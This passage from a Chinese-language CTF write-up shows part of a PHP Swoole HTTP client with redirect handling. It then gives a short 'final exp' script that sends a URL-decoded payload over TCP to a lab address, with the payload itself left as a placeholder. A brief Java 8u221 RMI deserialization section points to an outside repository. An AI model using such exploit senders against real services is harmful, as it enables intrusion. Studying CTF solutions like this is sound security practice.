            return fwrite($this->outputStream, $transfer) === strlen($transfer);
        }
        echo $transfer;

        return true;
    }

    /* ====== Redirect helper ====== */

    private static function unparseUrl(array $parsedUrl): string
    {
        $scheme = ($parsedUrl['scheme'] ?? 'http') . '://';
        $host = $parsedUrl['host'] ?? '';
        $port = isset($parsedUrl['port']) ? ':' . $parsedUrl['port'] : '';
        $user = $parsedUrl['user'] ?? '';
        $pass = isset($parsedUrl['pass']) ? ':' . $parsedUrl['pass'] : '';
        $pass = ($user or $pass) ? "{$pass}@" : '';
        $path = $parsedUrl['path'] ?? '';
        $query = (isset($parsedUrl['query']) and $parsedUrl['query'] !== '') ? '?' . $parsedUrl['query'] : '';
        $fragment = isset($parsedUrl['fragment']) ? '#' . $parsedUrl['fragment'] : '';
        return $scheme . $user . $pass . $host . $port . $path . $query . $fragment;
    }

    private function getRedirectUrl(string $location): array
    {
        $uri = parse_url($location);
        if (isset($uri['host'])) {
            $redirectUri = $uri;
        } else {
            if (!isset($location[0])) {
                return [];
            }
            $redirectUri = $this->urlInfo;
            $redirectUri['query'] = '';
            if ($location[0] === '/') {
                $redirectUri['path'] = $location;
            } else {
                $path = dirname($redirectUri['path'] ?? '');
                if ($path === '.') {
                    $path = '/';
                }
                if (isset($location[1]) and substr($location, 0, 2) === './') {
                    $location = substr($location, 2);
                }
                $redirectUri['path'] = $path . $location;
            }
            if (is_array($uri)) {
                foreach ($uri as $k => $v) {
                    if (!in_array($k, ['path', 'query'])) {
                        $redirectUri[$k] = $v;
                    }
                }
            }
        }
        return $redirectUri;
    }
}

最终exp:

<?php
$ip='172.18.0.2';
$port=8080;
include_once __DIR__ . "/Calculator.php";
$data=urldecode('payloadpayload');
$client = new Swoole\Client(SWOOLE_SOCK_TCP);
if (!$client->connect($ip, $port, -1)) {
    exit("connect failed. Error: {$client->errCode}\n");
}
$client->send($data);
echo $client->recv();
$client->close();

Java部分

java 8u221的rmi
复现就完事了https://github.com/lalajun/RMIDeserialize

下一篇: AntCTF x D^3CTF non RCE?→